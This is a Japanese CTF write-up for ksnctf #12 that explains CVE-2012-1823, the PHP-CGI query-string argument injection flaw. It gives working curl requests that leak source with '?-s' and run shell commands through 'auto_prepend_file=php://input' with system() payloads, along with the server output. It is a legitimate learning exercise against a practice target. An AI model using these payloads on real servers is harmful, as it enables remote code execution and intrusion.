概要
- 私は CTF ガチ初心者です。(なおかつ儚いWeb系の知識)
- ぐだぐだ説明
それでもよいという方だけどうぞ。↓
本題
ksnctf #12 Hypertext Preprocessor1を解いていきましょう。2
時間でしょうか?
2012、1823は年代のように見えます。
それ以下の羅列は意味がなさそうな番号です。
真っ赤な背景に赤い字なので、ちょっと怖い。。。
以下ページのソースです。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Clock</title>
<style>
body
{
background: black;
}
p
{
color: red;
font-size: xx-large;
font-weight: bold;
text-align: center;
margin-top: 200px;
}
</style>
</head>
<body>
<p>2012:1823:20:19:07:27:09:39:06:10:07:55:54</p>
</body>
</html>
クロックって書いてあるからやはり、時間の情報なのでしょうか。
「2012:1823」をGoogleで調べてみました。
ksnctf の write-up もありますが、こんな記事やこんな記事が上位に来ます。
CVE3は、米国政府の支援を受けた非営利団体MITRE社が採番している、脆弱性を識別するための共通の識別子、のことだそうです。
その中でも 2012-1823 は、「PHPのCGIモードにおける脆弱性」のことだそうです。
$ curl -I http://ctfq.sweetduet.info:10080/~q12/
HTTP/1.1 200 OK
Date: Sat, 27 Jul 2019 17:12:14 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.4.1
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
curl コマンドより、http の header を見てみました。
PHP のバージョンでは上記の脆弱性が指摘されています。
CVE-2012-1823 について
こちらの記事によると、
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
とのことで、こちらを説明します。
バージョン 5.3.12 と 5.4.2 以前の 5.4.x の PHP における cgi_main.c は 「=」の不足している query strings を適切に扱わず、コマンドラインオプションを設定することにより、リモート攻撃で任意のコードを実行することを許してしまう。
クエリ文字列とは、URLの後ろのほうに付く ?a=b といった文字列のことです。
クエリ文字列に等号を含めない場合、クエリ文字列はCGIスクリプトのコマンドライン引数として指定される仕様になっています。
つまり、
http://toho.jp/test.cgi?-a
みたいな入力に対して、
test.cgi -a
このようにコマンドラインで呼び出されるらしいです。
そして、phpのオプションはこちらにあります。
例えば、「-s」で「HTMLシンタックスハイライトされたソースの出力」、「-d foo(=bar)」で「値barでINIエントリーfooを定義する(php.ini のディレクティブを外部から指定できる)」などができます。
ksnctf #12 Hypertext Preprocessor を解く
早速ソースを引っ張り出したいです。
http://ctfq.sweetduet.info:10080/~q12/?-s
出力は以下になります。
<?php
// Flag is in this directory.
date_default_timezone_set('UTC');
$t = '2012:1823:20:';
$t .= date('y:m:d:H:i:s');
for($i=0;$i<4;$i++)
$t .= sprintf(':%02d',mt_rand(0,59));
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Clock</title>
<style>
body
{
background: black;
}
p
{
color: red;
font-size: xx-large;
font-weight: bold;
text-align: center;
margin-top: 200px;
}
</style>
</head>
<body>
<p><?php echo $t; ?></p>
</body>
</html>
少し近づいた気がしますね。
どうやら、前半の"2012:1823:20:"以下の中間部分"19:07:27:09:39:06"は、タイムゾーンが UTC で現在の時間が表示されていたようです。
そして後半部分の"10:07:55:54"ですが、乱数っぽいです4。
// Flag is in this directory.
ところでフラグはこのディレクトリにあるようです。
ディレクトリを表示したい、という思いが芽生えました。
さらに、php のオプションを組み合わせることで、任意のコードを実行できるということなので、この脆弱性をついてphp のコードを送り付けてそれを実行してもらいましょう。
参考にしたサイトはこちらです。分かりやすい!
- allow_url_include=On
- auto_prepend_file=php://input
を、-d で与えてあげることで、任意のコードの実行が可能になるらしいです。
curl で解いてみる
こんなとき curl は便利です。
$ curl [url] -X POST -d "data" -i
curl のオプションは以下のようになっている。
- -X : 使うコマンドを指定する
- -d : データを指定する
- -i : 出力にレスポンスヘッダも含める
てことで、実行すると以下のようになる。
$ curl http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -X POST -d "<?php system('ls -al'); ?>" -i
HTTP/1.1 200 OK
Date: Sun, 28 Jul 2019 17:45:42 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.4.1
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
total 18668
dr-x--x--x 2 q12 q12 4096 Jul 29 02:40 .
drwx--x--x 3 root root 4096 Jul 29 02:40 ..
-r--r--r-- 1 q12 q12 90 Jul 29 02:40 .htaccess
-r-------- 1 q12 q12 22 Jul 29 02:40 flag_flag_flag.txt
-r-xr-xr-x 1 q12 q12 600 Jul 29 02:40 index.php
-r-xr-xr-x 1 q12 q12 19093315 Jul 29 02:40 php.cgi
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Clock</title>
<style>
body
{
background: black;
}
p
{
color: red;
font-size: xx-large;
font-weight: bold;
text-align: center;
margin-top: 200px;
}
</style>
</head>
<body>
<p>2012:1823:20:19:07:28:17:45:42:45:59:41:31</p>
</body>
</html>
flag_flag_flag.txt がフラグっぽいです。
$ curl http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>" -i
これで flag が出ました!
python でも解いてみる
pythonには、requests というHTTP通信ができるモジュールがあります。
標準でurllibというライブラリもあるけど、requests の方が見た目が人間に優しいらしい。
優しいの好き。
以下の構文で、"id" に "aaaa"を、"pass" に "bbbb" を指定して、web サイトに post できます。
payload = {'id': 'aaaa', 'pass': 'bbbb'}
r = requests.post("http://ctfq.sweetduet.info:10080/~q6/", data=payload)
レスポンスの内容は r に格納されていて、r.text とすると、レスポンスを得ることができます。
このモジュールを使って、上記の url にコードを投げるだけですね。
プログラムを書いてみました。
まとめ
CVE-2012-1823 の概要とそれを利用して ksnctf #12 Hypertext Preprocessor の flag を回収してみました。
原理が分かっていれば素直に取り組める問題だと思います。
CTFまとめを書いてみるのは、知識が整理されるので好きです。
ここまでありがとうございました。
Happy Hacking!